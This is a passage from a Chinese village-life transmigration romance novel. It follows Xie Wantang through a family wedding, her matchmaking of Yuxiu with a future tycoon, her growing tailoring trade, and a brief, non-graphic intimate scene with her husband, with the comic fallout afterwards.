谢晚棠嗐了声:“猪下货比猪肉便宜,没事,大嫂,弟妹,你们挑就行,要不就在我家一锅煮出来你们再拿回去直接炒吧,这样就不用麻烦二遍了。” 老三媳妇自然愿意,吃了谢晚棠的好东西,自然要出力的,主动帮着洗大肠,平常都是傅青山洗,谢晚棠还真没干过,在一旁舀着清水给老三媳妇冲洗。 傅大嫂去抱草引火烧水,把猪肝、猪心、猪肚和猪舌头先下锅煮着,等差不多要开锅了,老三媳妇这边猪肠子也洗好了,拿过去下锅,猪肠子不能火大,开锅就好。 煮好捞出来,傅大嫂挑了个猪心,老三媳妇挑了个猪肚,还帮着谢晚棠把锅涮了出来。 听说兰兰去自留地摘菜去了,老三媳妇跟谢晚棠商量好了明天中午要做什么菜,说明天一早让傅老三去她们家自留地摘菜送过来。 谢晚棠自己的自留地里就只有白菜,家里还有分家分的土豆,秋收刚分的芋头,再就是吃傅大娘家的自留地,还有家里大刚的小菜园,供他们一家七口还行,要支撑工地一个月午饭绝不可能。 有傅大嫂和老三媳妇家的自留地帮趁着,那真是解决了大问题,谢晚棠笑着谢过。 傅大嫂和老三媳妇回去的时候,傅青宁正好从家里出来,看她俩喜笑颜开,又眼馋地瞅了一眼她俩端的猪下货,不悦地哼了声:“当谢晚棠的狗腿子就这么美?” 傅大嫂虽然分了家,但是还是每天跟傅青宁低头不见抬头见的,一看到她,好心情瞬间全无,低着头往屋里走,不愿意跟她搭话,娘俩只要不舞到她脸上,她还是不愿意多叨叨,多一事不如少一事。 老三媳妇可不是傅大嫂那样愿意忍让的好脾气,她可是凭自己的双手干活得的好处,理直气壮地瞥了眼傅青宁:“有功夫**们的闲心,不如好好给自己操心找对象的事吧!” 傅青宁找对象挑三拣四找不上本就烦,二哥说了帮忙也没动静,如今又被老三媳妇怼了,气得面红耳赤:“用不着你操心!你等着!我早晚找个好的!” 老三媳妇点头:“对对对,我们才懒得操心你的破事,你找个再好的我们也跟着沾不着光,就是别嫁不出去天天在家里摔摔打打的惹人烦就行了!” 说完,老三媳妇懒得看她,转身进了南屋关上了门。 傅青宁气得一把带上家门,甩了鞋上炕躺下,连出门的心情都没有了。 翌日,傅青林结婚,傅青山请了一天假,上午和谢晚棠一起去帮忙加送礼。 新郎新娘子精神自然不必说,玉秀穿着谢晚棠做的布拉吉,还借了兰兰的小皮鞋,在人群里也是耀眼极了。 忙乎完拜天地,玉秀终于有空来谢晚棠身边,抱着她的胳膊美滋滋:“嫂子,你给我做的衣裳美死了!我跟我哥去接媳妇的时候,他们村的人都看呆了!” 谢晚棠低声问:“有没有什么好看的帅小伙?” 玉秀害羞:“哎呀嫂子你说什么呢……” 谢晚棠笑:“这有什么害羞的,找对象啊,就跟买布一样,货架上就这么多布,你不快挑,质量好的,好看的布就被别人买走了,只能在别人剩下的里边选了,所以要先下手为强!” 这是上辈子她妈催婚的时候给她讲的理论,不过当时妈妈举例举得是一筐大枣,如今她变换了一下,举给玉秀听。 玉秀一听,你别说,还真是有那么几分道理呢,害羞地点了点头:“知道了嫂子。” 院子里男人们开席,傅大娘弄了一碗鸡腿肉,一个白面馒头,还有一碗菠菜炒鸡蛋,让玉秀给新媳妇端过去。 傅老太这两天就一直在这边给傅大娘帮忙打下手,谢晚棠闻声瞥了眼傅老太,看看人家傅大娘对儿媳妇多好。 傅老太当初给她送剩饭那事被她弄到面上,人人皆知,傅老太脸上没光,不愿意看傅大娘婆贤媳孝的场面,躲到一边去全当没看见。 吃过午饭,谢晚棠和傅青山一起去工地,三天的工夫,地基已经打好了,开始往上起大框了。 傅青山指了指跟在大工身后递工具的一个小学徒给谢晚棠看,说打算介绍给傅青宁,“人挺勤快,也机灵,我问了,大沟村的,在家里排老三,上头有两个哥哥都结婚了,家里人性挺好的。” 谢晚棠顺着傅青山指的看过去,青年一米八左右的个子,比傅青山能矮半头,长得挺精神,笑呵呵的面相挺喜庆。 是个帅小伙,配傅青宁绰绰有余的那种。 结果傍晚俩人回去跟傅老太和傅青宁一说,傅老太皱眉,傅青宁撇嘴:“一个没文化的搬砖的。” 谢晚棠:“……” 这年头教育普及得不行,除了城市青年,农村有几个有文化的。 还嫌人家没文化,你不也是一个大字不识几个的土妞。 这是嘴上答应着降低条件了,实际心里还是心比天高啊。 谢晚棠耸耸肩没说话,傅老太对傅青山道:“老二,我看还是再好好找找,你妹妹也不算大,不急,不急。” 谢晚棠都明白娘俩是什么意思,傅青山自然也明白,面上没什么表情,嗯了声就拉着谢晚棠走了。 回家兰兰已经在叮咣准备做晚饭了,昨晚就说好了,今天早点吃饭,吃完好去占座的。 吃过晚饭,兰兰在家刷碗,大刚二刚小刚搬着凳子先去占座,大刚拿了四个,二刚拿两个,小刚拿一个,一家人的位置都占上。 谢晚棠看孩子们给他俩也要占座,抿唇轻咳一声:“那个,我就不去了,不用给我占座了。” 大刚奇怪地看过来,那冷冽的眼神越来越有傅青山的气场,谢晚棠感觉像要被看穿,心虚地解释道:“我有点累,在家歇歇。” 妞妞闻声不放心地拉着她的手:“娘你生病了吗?那我也不去了,我在家陪着娘!” 谢晚棠:“……” 孩子太贴心了怎么办T-T 好在傅青山及时出现替她解了围:“没事,你娘没生病,就是做衣服累了,在家躺躺歇歇就好了,你们去玩吧,我在家。” 有傅青山在家,孩子们这才放下心来,三个刚先去占座,兰兰刷完碗,也带着妞妞出发了。 谢晚棠关上大门,听着兰兰和妞妞在胡同里碰上老三媳妇,老三媳妇问:“你娘呢?” 妞妞解释道:“我娘累了,在家歇着,我爹在家陪她。” 接着谢晚棠就听到老三媳妇意味深长地“哦”了一声:“你爹也在家啊。” 谢晚棠内心如尖叫鸡:啊啊啊啊啊!!! 都是家里有孩子的,想要亲热肯定都不方便,她感觉老三媳妇一定明白她和傅青山不去看电影是什么事! 谢晚棠红着脸关上门回来,看到傅青山已经把压好的井水搬进当门,跟大锅里的热水掺在一起,兑成温水,“你在家里洗吧。” 说着傅青山在天井里就开始脱衣裳、脱裤子,他直接在外边用井水洗。 虽然两人一会儿还会更亲密,但毕竟那是一会儿的事! 在傅青山裤子脱下来之前,谢晚棠麻溜移开视线进了当门。 洗完擦干上炕盖上小被子,没多久,就听到傅青山把当门盆里的水搬出去倒了,然后关上当门,推门进来,又关上炕间的门。 没开灯,但谢晚棠的眼睛早已适应了黑暗环境,傅青山那健硕的背影曲线勾勒得清清楚楚,他打开樟木箱子,弯腰在箱底摩挲了一会儿,然后啪的一声关上箱子,谢晚棠的心也跟着猛跳了一下。 下一秒,傅青山转身上炕。 蹭上她皮肤的那一刻,谢晚棠一个激灵。 她的温,傅青山的微凉,但很快傅青山的皮肤就比她的还热,热得烫人,如拉满的弓蓄势待发…… 傅青山伸手撕破包装袋,冲锋号吹响,她搭在傅青山后颈上的指尖下意识抓紧…… 不是受过伤吗?! 怎么还…… 但女人的身体又真的很奇妙,从疼得发抖,到轻飘飘的奇妙感…… 她紧咬下唇,才能勉强不发出声音。 可即使是这样,静谧空间里的细微声响,也在提醒着此刻的暧昧与旖旎,这一刻,时间仿佛都为他们停留住脚步。 傅青山呼吸滚烫,打在她额头,让她皮肤的温度越来越高,扣在傅青山肩膀上的手也跟着颤抖。 …… 谢晚棠虽然跟着傅青山练了十来天的军体拳,体格也没法一下子提高上来太多。 舒服是很舒服,但时间久了腰腿难免也会酸,傅青山却像是不知疲惫的机器一般始终在高能工作,她身体都抵抗不住往上跑。 他都不会累的吗?! 怕头撞到窗台,谢晚棠下意识抬手去抓窗棂,借着窗口明亮的月光,她瞥见自己的手表指针指向5。 5? 反应过来指针5代表的时间,谢晚棠惊得赶紧抬手凑近了看,仔细一看手表指针,竟然真的8点25了! 大刚二刚小刚他们5点半就出发了,兰兰和妞妞也不到6点就走了,他们俩不到6点半就开始了,居然一直弄到了8点25了! 都这么久了,傅青山一次都没,看来之前真的是她多虑了……劣质精子没活力,根本不行啊…… 没想到傅青山受伤的后遗症居然是这样的,能够给她实实在在的满足感,能把她伺候得舒舒服服,但就是他自己不行。 这样应该也会憋得很难受吧。 哎,傅青山就连生病,都是这样舍己为人的病。 嗐,她就说这个避孕套带了也没多大意义吧,这年代套也大贵贵的,下次不如跟傅青山说说不用带了,别浪费这个钱。 第57章 她在炕上这么火辣的嘛→_→ 许是她走神的时间太长,被傅青山精准捕捉到,俯身轻轻吻上她的唇,不许她看表。 轻柔的吻像羽毛轻轻划过,语气是平日里没有的深情缱绻:“不行了?” 谢晚棠:“……” 她是不行了,但二哥,你也不要替你的劣质小精子嘴硬了吧→_→ 不过爱一个人,就会自然而然地为他考虑,不想让他难过。 谢晚棠抿唇考虑片刻,谨慎措辞:“二哥,我们还是快点结束吧,万一孩子们回来看到就不好——” 话音未落,窗外传来门环响动的声音,接着就听着二刚激动道:“严伟才可真厉害!居然能带着一个排直插白虎团的团部!” 谢晚棠……?? 谢晚棠:“……” 她这嘴是喝了什么毒奶吗?! 刚说完,孩子们就回来了! 小刚:“二哥,爹以前是侦查连长,那你说是爹厉害,还是严伟才厉害?” 二刚:“大哥,连长大还是排长大?” 大刚:“当然是连长大。” 二刚:“哦,那咱爹比严伟才厉害!” 妞妞和小刚震惊地哇偶一声:“原来爹那么厉害!!!” 幸好几个孩子在讨论傅青山和电影*里的男主角谁更厉害,在大门口墨迹了会,进来的没那么快,谢晚棠赶紧推推傅青山:“快下去,别让孩子们看见!” 半晌,傅青山叹了口气,起身先给她找了衣裳,然后自己随手披上褂子套上裤子清理凌乱的炕面。 等谢晚棠急急忙忙穿好衣裳,傅青山已经清理完点了蜡,孩子们刚好推门进来。 谢晚棠长舒一口气,就差一点点! 妞妞进来先来看她:“娘,你好点了吗?” 谢晚棠笑笑,“好了好了,妞妞别担心。” 除了最后有点着急忙慌的小紧张插曲,她确实是享受了全程,好得很。 不像傅青山,忙了一晚上,现在还拉着个脸,一看就是憋得不行,下次试试时间再长一点看会不会好点,实在不行,等着看看要不去市里的大医院看看。 孩子可以不要,但人不能憋坏了啊。 妞妞闻声放下心来,脸上终于露出笑容,又去拉着傅青山的手,仰头看他:“爹,二哥说你比严伟才还厉害,你给我们讲讲你以前有多厉害呗!” 被小女儿眨着大眼睛看着,傅青山深吸一口气,收起郁闷的情绪,“我要是比严伟才厉害,那还拍什么奇袭白虎团?直接拍我了。” 妞妞微微张嘴,有些诧异:“可大哥说连长比排长官大啊!” 傅青山耐心道:“军功和官职无关。” 二刚好奇:“爹,那严伟才这么厉害,你会崇拜他吗?” 傅青山想了想,摇头,“我崇拜的军人只有一个。” 比严伟才还让爹崇拜的人,二刚更好奇了,“谁啊。” 傅青山深吸一口气:“你们的父亲。” 已经过去四年多,而且军人常年在外,一年就两次回家探亲的机会,除了大刚和兰兰,其他三个孩子其实对亲生父亲都没什么印象了。 傅青山神色郑重地看着面前的五个孩子:“他是伟大的军人,保卫祖国的英雄,无论你们长大以后是否从军,都要时刻记着,不要做给你们父亲丢脸的事。” 傅青山虽然平时也不苟言笑居多,并不是个和蔼可亲的父亲形象,但也少有如此严肃的时候,几个孩子下意识站直,闻声认真点头:“是!” 谢晚棠也是很久以后才知道,傅青山和他崇拜的那位团长,他们曾经并肩立下的军功,并不比电影里的严伟才差。 他们是新中国第一批特种兵,是祖国和人民最锋利的尖刀,永远冲锋在最危险的地方,守护着和平。 这也是傅青山后来为什么一路高升的重要原因,他是真的有能力,如果不是为了这些孩子,他继续待在部队不退伍,他最后的位置还会更高。 傅青山不是爱训话的人,说完也就让孩子们自由活动了。 大刚提醒:“爹,到时间了,该练军体拳了。” 谢晚棠:“……” 大刚!为什么看电影都不能让你忘记每日例行的军体拳??? 傅青山闻声点头,一偏头就和谢晚棠哀愁幽怨的视线对上。 谢晚棠垮起个小委屈脸:“二哥,我今晚就可以不用练了吧……” 她都练了两个小时了!今天的运动量该够了吧! 傅青山想到晚上的运动,偏头避开视线,轻咳一声:“嗯。” 谢晚棠长舒一口气,躺在炕上,听着傅青山带着孩子在天井里喊着号子打拳的声音,真爽啊! 这打拳就像下小雨,站在窗边观雨才有意境,要是行走在雨中,那就是惨兮兮的落汤鸡咯。 翌日。 傅青山吃完饭就去上班了,老三媳妇一早过来送菜,谢晚棠过去帮着接。 弯腰搬盆的时候,老三媳妇欧呦一声,弄得谢晚棠不明所以。 老三媳妇努努嘴指指她脖子:“昨晚跟二哥挺激烈啊!” 谢晚棠……???? 老三媳妇见她一脸懵逼,笑着指了指自己的锁骨位置:“你这衣裳领子有点低,低头的时候看得清清楚楚。” 谢晚棠闻声赶紧回屋照镜子,一弯腰低头的时候,右侧锁骨上的吻痕像个大草莓! 老三媳妇放下菜进来,也站在她身后往镜子里看了眼,“有孩子在平时放不开吧,孩子们不在家,一下子就干柴烈火了!” 谢晚棠:“……” 老三媳妇性子本就泼辣,又养过两个孩子了,聊起这方面那是一点不带害羞的,老司机属性跟郭燕不相上下。 谢晚棠轻咳一声,赶紧打开衣柜翻,找了件领子最高的换上,低头对着镜子试了试,确保不会露出来。 老三媳妇在旁边看着,忍不住笑:“二嫂,你这羞答答的小媳妇儿样可真招人稀罕,怪不得俺二哥把持不——” 谢晚棠一把捂住老三媳妇的嘴,红着脸轻咳一声:“两个小的还在院里呢。” 老三媳妇也是从这个时候过来的,见谢晚棠羞得连脖子都红了,便笑着点头,不再打趣她。 老三媳妇去当门拾掇菜,谢晚棠又对着镜子照了两遍,确保怎么低头都漏不出来,这才彻底放下心来。 晚上傅青山回来必须好好教育,以后坚决不准给她在这种可能会露出来的地方留下印! 玉秀忙完她二哥的结婚大事,上午也过来帮忙。 谢晚棠在炕间缝扣子、剪线头,听着玉秀在当门和兰兰、傅大嫂、老三媳妇有说有笑。 她一来,家里气氛都不一样了,透着一股子喜气洋洋。 说到喜气,谢晚棠突然想起傅青山原本要介绍给傅青宁的那个帅小伙,性子也跟玉秀似的,爱说爱笑的,特别讨人喜欢。 玉秀就比傅青宁小一岁,明年也到了该结婚的年纪。 这个年代感觉都流行闪婚,她和傅青山这种合约婚姻的不提,玉秀的二哥傅青林也是相亲完觉得行,马上就筹划着定亲结婚了,前前后后不超过一个月。 结婚是女人的第二次投胎,谢晚棠觉得还是该谨慎一些比较好。 而时间绝对是最好的检验,人能装得了一个月两个月,却装不了一年两年,骨子里的东西总会露出来的。 人无完人,肯定多多少少都会有缺点,但要看这缺点是不是人性人品上的。 就像兰兰,上辈子稀里糊涂嫁给了一个家暴男,女人最美好的前半生都毁在那个烂人的手里了。 中午做好饭,谢晚棠主动提出要和玉秀去工地送饭。 每个人的审美不一样,她看着好的小伙子,不一定在玉秀的审美里,找对象这事,还是要找个自己看着顺眼的,过起日子来才舒心。 她当初愿意跟傅青山结婚,抱大腿是一方面,傅青山的颜值也是很重要的原因。 玉秀本就是来帮忙的,自然没意见,两人用提篮把饭菜装好,一人挎两个往工地去。 路上谢晚棠把这事跟玉秀说了,中午头天也热,玉秀白嫩嫩的小脸一下就红了。 昨天谢晚棠刚跟她讲了找男人如同挑布料的理论,她晚上跟娘说了,娘还夸谢晚棠说得对,说得好,娘还补充了句,布料卖没了还能马上再生产,好男人挑没了,那可产不出来了。 谢晚棠压低声音:“一会儿到了工地,我指给你看看,你先看看喜不喜欢,要是喜欢,再让青山给你们介绍。” 玉秀荣升相亲预备役选手,红着脸点头:“好。” 她们今天来得早,大刚和大仓二仓还在帮着干活。 看到她们来送饭,大刚赶紧过来接,擦了擦额上的汗:“娘,玉秀姑,你们怎么来了,这么沉,我们干完活就回去拿了。” 大刚这么一说,玉秀脸更红了,因为谢晚棠就是为了带她来相对象才来送饭的。 谢晚棠笑道:“今天有你玉秀姑姑帮忙,就送来了,先招呼大家歇歇来吃饭吧。” 大刚哎了声,去跟工程队长说先吃饭。 工程队长招呼大家先放下手里的活来吃饭,那个喜庆的帅小伙也笑呵呵过来了,跟大家一起打饭吃饭。 谢晚棠靠近玉秀低声道:“就是从东边数第五个,那个高高瘦瘦的。” 玉秀轻轻“嗯”了声。 大刚说太热让她和玉秀先回去,家把什等晚上他们就捎回去了。 此行的目的已达成,谢晚棠就领着玉秀走了,路上问玉秀看着怎么样,玉秀脸更红了,害羞地点头:“嫂子看上的,确实挺精神的。” 谢晚棠笑着搂着玉秀的胳膊:“你青山哥打听了,说家里人性也不错,等着让他先跟你爹说说。” 玉秀羞答答地抿唇:“好。” 这年头农村还是不兴自由恋爱,但她们可以在自由恋爱和相亲之间取个中,先来看看,看着和眼缘再去征求父母意见,相亲见面,然后再自由恋爱,走入婚姻。 晚上傅青山下班回来,谢晚棠没忘记锁骨上的吻痕,趁着家里只有小刚和妞妞,把他叫进来严肃地说起这事。 结果她才一提,傅青山就道:“我也有。” 谢晚棠…… 傅青山转身,后背对着她,她抬眸就瞥见傅青山的后脖颈上两道明显的红色抓痕,衬衣领子都盖不住,一直延伸到发根处。??? 昨晚难耐时她好像是紧紧抱着傅青山的脖子,但也不至于挠成这样吧? 谢晚棠不太相信:“脖子上这些是我给你抓的?” 傅青山闻声没说话,解开两颗衬衣扣子,兜头把衬衣脱了,转过身去,后背对着她:“不止脖子。” 顺着后脖颈往下,整个后背到处都是凌乱的红色抓痕,横盘在傅青山小麦色的皮肤上,刺眼又醒目。 谢晚棠:“……” 她在炕上这么火辣的嘛→_→ 第58章 腰啊,屁股啊都行…… 傅青山展示完她的战绩,重新穿上衬衣,等他扣好扣子转过身来,谢晚棠脸烫得像在锅台底下烤过似的,哪里还好意思再提自己锁骨上这点草莓印儿。 跟她的杰作一比,傅青山给她印上的这颗草莓真是小巫见大巫了→_→ 谢晚棠突然想到傅青山上了一整天班,他头发短,后脖颈上方衬衣领盖不住的地方红痕明显,与麦色的皮肤格格不入,该不会被同事看到吧! 她有些忐忑地问完,傅青山垂眸看她:“看到了。” 谢晚棠:“……” 谢晚棠强撑着最后一丝挣扎:“看到的人不多吧……” 毕竟傅青山那个单位都是男人,男人和男人之间,谁会天天盯着对方的后脖子看呢? 傅青山:“上午搞了个大比武,比完脱衣裳在大院里冲凉的时候,武装部所有人都看到了。” 谢晚棠闻声两眼一黑:“……” 又不是一线部队,一群退伍老兵,突然搞什么大比武! 看谢晚棠小脸蛋通红,眉头皱得飞起,傅青山没有细说当时的场面,部里基本都是当兵回来的,有家有室的不愿意两地分居,转业回来单位离家近,能过上老婆孩子热炕头的日子。 大比武结束,大家热得出了一身汗,脱了衬衣在大院的压井旁冲凉的时候,看到他后背的抓痕,都不是不懂事的小伙子年纪,有媳妇的男人自然明白这是怎么回事,一个个都笑着打趣他新婚是不是夜夜都要爽飞起来? 这些荤话,他自然不能转述给谢晚棠,谢晚棠面皮薄,要是知道了,以后在炕上可能宁可抓床单也不会伸手碰他。 虽然他不会说这样的话,但听老战友们这样打趣他也不会恼。 看谢晚棠小脸还揪揪着,他想了想,宽慰她道:“结了婚有夫妻生活很正常,就算他们没看到这些抓痕,也不会觉得我们晚上会像兄弟一样睡觉。” 谢晚棠:“……” 二哥,你的安慰让人震耳欲聋→_→ “不管怎么样,以后还是小心点吧……”说完谢晚棠一点都不希望傅青山接话,她只想赶紧结束这个尴尬的话题,于是马上转移焦点道,“对了,跟你说个事!” 谢晚棠把玉秀看上工地上那个帅小伙的事告诉了傅青山,傅青山闻声道,“那我先跟大爷说说这个事,他觉得行再介绍两人认识。” 谢晚棠点头:“我就是这个意思。” 两人说话的工夫,听着大门响,小刚和妞妞喊“郭姨”,谢晚棠从窗棂往外一看,是郭燕来了,之前就约好今天来拿刘队长和许主任的衣裳,明天郭燕去镇上开会捎过去。 谢晚棠本来不想让傅青山出去了,怕他衬衣领上边露出来的抓痕被人看见,但现在她更怕郭燕这个老司机看见! 傅青山一说要先去支书大爷家,谢晚棠赶紧点头:“快去吧快去吧!” 两人一前一后往外走,傅青山出门,她去迎郭燕。 傅青山朝郭燕点了点头,郭燕笑道:“傅部长下班就去工地啊。” 玉秀的事还没定下来,傅青山也不多说话,嗯了声就走了,留给郭燕一个高大挺拔的背影,极近的距离,郭燕眼又尖,一下子就注意到了傅青山衬衣领上方延伸出来的红色抓痕。 谢晚棠本就心虚,看郭燕盯的方向更觉得可能要完蛋! 是以郭燕一转身,她就赶紧拉着郭燕往家里走,嘴上一刻不停:“刘队长和许主任的衣裳都做好了,不过她们的布料割得都有点多,每人都剩下一小块,这是她俩以后做衣裳的尺寸我写纸上了,你带给她们,以后可以就照着这个尺寸扯布就行,不浪费。” “剩的这些布头也拿回去存着吧,等着攒攒可以拿来我给孩子设计件拼接风格的,也好看。” “哦,对了,刘队长说她这几年一年比一年胖,我给她在腰这存了一块,你跟她说说,如果明年胖了穿着紧了,直接把外线拆了一放就行。” …… 谢晚棠绞尽脑汁不停说话,目标就是不给郭燕开口的机会,没准她一会儿就忘了呢! 她说了足足有五分钟,郭燕听得也很认真,一副听进去了的样子,时不时点头应着,谢晚棠实在是找不出话来了,也觉得应该是差不多了。 她才话落,郭燕突然笑眯眯,谢晚棠感觉郭燕这个表情怕是要开车,下一秒就听郭燕嘿嘿笑道:“昨晚跟傅部长挺刺激吧!脖子都给人挠红了!” 谢晚棠:“……” 什么都打不断郭老司机开车的决心和恒心吗??? 郭燕啧啧:“村里那些妇女就能瞎传,之前还传你们家傅部长那里受了伤不行,这哪里不行了?给你伺候得都爽成这样了!” 谢晚棠:“……” 姐啊!你可是七十年代的土著啊,为什么用词比我这个穿书人还大胆奔放啊!!! 而且傅青山确实是不行,只不过是你们想象不到、她也不能说的那种不行…… 郭燕想了想又道:“不过也亏得这些妇女瞎传,傅部长才能剩到这么大,不然他比你大那么多,他适龄娶媳妇的年纪,你还是个小女孩呢,这就叫缘分,该是你享的福,兜兜转转还是你的!” 谢晚棠在老司机面前根本不敢多说话,努力保持微笑脸点头:“燕姐说的是。” 最后郭燕笑着给她传授经验:“不过下次挠的时候往下点,后背那么大,对吧。” 谢晚棠不敢接话,整个后背其实都有…… 郭燕想到什么突然又笑得一脸银晦涩情:“要是觉得后背不过瘾,腰啊,屁股啊都行,我跟你说,不用害羞,这样男人其实也很爽的!” 谢晚棠感觉她的脸已经比烤地瓜还熟了!但又一句话不敢多说,生怕争论起来郭燕要跟她好好探讨夫妻生活如何更幸福这个隐秘话题。 好在郭燕来得晚,还要急着回去做饭,走得时候笑着拍拍她肩,压低声音道,“姐还有好些花样呢,等下次有空的时候再好好教你!” “……” 家里让郭燕开车开的,总感觉在这空间里待着,都透着一股子燥热劲儿。 好在农忙完这几天闲下来,把之前攒的要做的衣裳都做完了,谢晚棠搓搓烫人的脸,去天井里透透气。 兰兰去自留地摘菜还没回来,就小刚和妞妞在逗小黑玩,小黑长大不少,不再像小时候那么肉嘟嘟的,身形开始迅速抽条,小团子脸也开始变长。 谢晚棠记得以前在网上看过,说我们中华小土狗小时候萌萌哒,但是会燃烧颜值长大,而且还有一半的概率会成为龅牙dog。 谢晚棠蹲下,摸摸小黑的头,小黑热情地扬起小脸舔她手心。 嗯,颜值确实有点燃烧,但好在好像还没有龅牙的趋势,还算是个精神小狗。 谢晚棠难得空闲,悠哉地欣赏着天井里的小生命们。 小鸡小鸭又长大不少,就是不知道什么时候能下蛋,看着小鸭子,突然有点想吃咸鸭蛋了呢,姥姥腌的咸鸭蛋,蛋黄香香的流油,一想都要流口水了。 鸭鸭们要加油下蛋啊! 大刚的小菜园初长成,苔菜、茼蒿、菠菜都呈现出郁郁葱葱的架势,这几天晚上家里吃的青菜都是从大刚的菜地里拔的,就是不知道天冷了菜还能不能种了,等晚上问问大刚,不然冬天光吃萝卜、地瓜、土豆、南瓜也不太行。 晚上大刚回来,谢晚棠一问,还好,大刚说菠菜抗冻,一直能种,其他的不大行,但农业种植手册里讲了,只要控制好温度和阳光,有些菜也可以反季节种植,大刚说要试试弄个盆,冬天在窗台上种种试试。 谢晚棠一听,这不就是后来蔬菜大棚的原理嘛! 不错不错,不管怎么说,冬天也能吃上青菜,这就很好,不用担心缺乏维生素了。 可一问小鸡小鸭什么时候能下蛋,大刚看了看鸡栏鸭栏:“鸡要半年,鸭子,四个多月吧。” 谢晚棠……?? 这么久的吗?! 那这不年前都够呛能吃上它们的蛋蛋了…… 她心心念念了半下午的咸鸭蛋啊T-T 看看过两天傅青山歇班,一起去镇上扯料子缝被的时候,就先搞点鸭蛋回来腌上解解馋吧! 晚上傅青山从支书大爷家回来,说把情况跟大爷大娘都说了,傅青山没说玉秀先去看过的事,大爷大娘听了他介绍青年家里的人性都挺好,在工程队也有个学徒的活干着,挺满意,说让傅青山帮着安排青年和玉秀相亲看看。 谢晚棠想了想:“那要不就等周末你休息,上午叫到咱家来见个面。” 傅青山点头:“行,那你明天跟玉秀说说,明天下班我去工地也跟江建设说好。” 谢晚棠感觉江建设这名字有点熟悉,但一时又想不起来是在哪里听过:“江建设是谁?” 傅青山:“就是要介绍给玉秀的那个青年。” 江建设,大沟村工程队学徒,长相帅气,性格外向,爱说爱笑…… 多个标签重叠,谢晚棠突然想起来,江建设就是她穿的这本书里的另一个大佬配角,大江建设集团的董事长,未来S省的地产大亨! 书中,女主角夏竹读完大学后回村做了大学生书记,就是邀请了当时已经在S省赫赫有名的江建设,参与到建设社会主义新农村当中。 书里,江建设的奋斗经历非常励志,从一个山沟里走出来的小学徒,一路成为S省地产行业的龙头老大,而且长相帅气,性格讨喜,大江建设的广告都是他自己拍的,口号就是“我为自己代言”。 傅老太和傅青宁看不上的“没文化的搬砖的”竟是又一位未来大佬。 她突然感觉下午郭燕说的那句话真有道理,这就是缘分,该是你的,兜兜转转,终究都会是你的。 至于傅青宁,不是她的,饭喂到她嘴里,她死活也要吐出来。 第59章 投机倒把。 隔日上午,做衣裳的活都忙完了,谢晚棠帮着兰兰、傅大嫂和老三媳妇一起洗菜备料。 在天井就听着胡同里传来一连串脚步声和说笑声,好像还有郭燕的声音。 接着,门环从外边扣了两声,小刚勤快,跑去开门。 大门一开,谢晚棠就看到郭燕身后还有四五个妇女,都没见过,不是下沟村的,郭燕不会又给她带生意来了吧! 谢晚棠起身擦擦手,笑着把人迎进来:“燕姐,这几个姐姐是?” 郭燕笑道:“晚棠,你火了!” “啊?”谢晚棠一脸懵,这年头还能火了? 郭燕笑着给她一一介绍,郭燕身后跟着的五个妇女,全都是大沟镇各个村的宣传队长。 郭燕解释:“昨天我去镇上开会,把你做的衣裳给刘队长和许主任捎过去,开完会她俩一试,那个立整好看,被大家一顿夸,一听是你给做的,都让我带着来找你坐呢!” 几个人都不是空着手来找她帮忙的,每人都带了些自己村里的土特产来,煎饼、红豆、梨、苹果…… 几人进来把东西放在当门,跟傅大嫂和老三媳妇打过招呼后,跟着谢晚棠进了炕间。 因为昨天郭燕把剩下的布和以后要扯布的尺寸都写给了刘队长和许主任,其他几个宣传队长一看找谢晚棠做衣裳还可以省布料,就决定先来找谢晚棠量了尺,再去镇上扯布。 来回是多麻烦一趟,但省钱,现在不是农忙,大家也不缺这半天功夫。 定好款式,挨个量好尺寸,谢晚棠把每个人需要扯的布料尺数、线、松紧带和扣子数量算好,挨个写下来。 第一个量好尺的宣传队长闲来无事打量这个虽然小但透着温馨的小家,除了值钱的缝纫机和收音机,还有墙上醒目的“五好家庭”奖状,五好家庭每个村就三个名额,能拿五好家庭,说明小谢是很不错的好同志啊! 日子过得好,长得好看,手还这么巧! 宣传队长还注意到摞在红色樟木箱子上的一大摞各色布料,“小谢同志,你家里怎么这么多布料?” 谢晚棠闻声回头看了眼,还没来得及开口,郭燕先替她解释了:“她家孩子多,她对孩子可好了,吃穿都不小气,她去买布都是一次多买点回来屯着慢慢做,买的多比咱去买一尺还便宜3分钱呢!我家老刘上次做衣裳,我就是让晚棠给我捎的布,一身衣裳便宜了2毛多。” 几人一听,那还自己跑去买什么布?买了还得送来,还比谢晚棠买得贵,那不如从谢晚棠这儿买了,她这里花色也不比黑市上少。 谢晚棠听几个人这么说,犹豫了下:“这样好吗?不算投机倒把吧?” 郭燕嗐了声:“你又不是倒卖布料挣钱,你这给我们提供了方便,是我们麻烦了你,哪能算是投机倒把!” 几个队长也跟着点头:“就是!” 谢晚棠这才放下心,把那摞布料抱到炕上让她们挑:“那你们先挑颜色吧,有的颜色可能尺不够了,这周末我正好还要去镇上扯布缝被,缺的颜色我就给捎回来了。” 几个人挑好了布料颜色,索性线、扣子、松紧带也都让谢晚棠给一起捎着,谢晚棠按照每个人的尺寸和款式用料不同,算了算钱,几个人当场给了钱,约好时间,到时候做好了还是让郭燕到时候开会给捎过去,就不用再多跑一趟了。 谢晚棠把郭燕和几个宣传队长送走,回来老三媳妇啧啧赞叹:“二嫂你可真厉害,这出名都出到镇上了,这些宣传队长平时打扮得都最精神了,她们居然都来找你做衣裳穿,你真是咱们下沟村的大剪子!” 大剪子…… 这夸奖=_= 说着老三媳妇洗完菜擦擦手,拉着谢晚棠去炕间:“二嫂,你给我也量量做一身呗!我给你钱,周末你去镇上买布,给我也捎着!” 谢晚棠自然没意见,给老三媳妇量了尺记下尺寸,老三媳妇美滋滋地回家拿了钱过来给她。 老三媳妇和傅大嫂不一样的地方就是,傅大嫂心里先想着男人孩子,自己可以穿旧的,但要给男人孩子做新的,而老三媳妇则更会爱自己,老三一个男人可以穿带补丁的,她可得美美的才行。 傅大嫂属于那种传统的贤妻良母,老三媳妇则思想更现代一些,其实去掉了自私自利那些不好的品行,谢晚棠感觉老三媳妇跟她这个现代人思想更接近。 谢晚棠算了算做三个卧室的床单、被罩、窗帘,还有五个宣传队长和老三媳妇这六身衣裳,还得屯点料子给孩子们做冬天的棉衣棉鞋用,量巨大,看来周末歇班得让傅青山也一起去,不然她和兰兰两人还真运不回来。 而且量这么大,她到时候还可以再跟大姨砍砍价,一尺再便宜个2分应该没问题吧,买得多线都免费送,不用花钱。 